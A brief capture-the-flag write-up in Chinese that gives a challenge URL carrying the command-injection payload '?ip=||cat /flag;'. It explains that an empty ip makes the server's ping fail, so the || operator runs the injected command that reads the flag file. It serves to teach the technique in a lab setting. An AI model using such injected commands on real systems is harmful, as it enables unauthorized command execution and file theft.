http://80-ef8803cf-9b91-4d0d-894f-58c0b50ebeec.challenge.ctfplus.cn/?ip=||cat /flag;
根据代码,因为会先执行ping命令,使用要让第一个ping命令执行失败,使所以直接不给ip就行,然后利用||号让后面的cat /flag命令执行。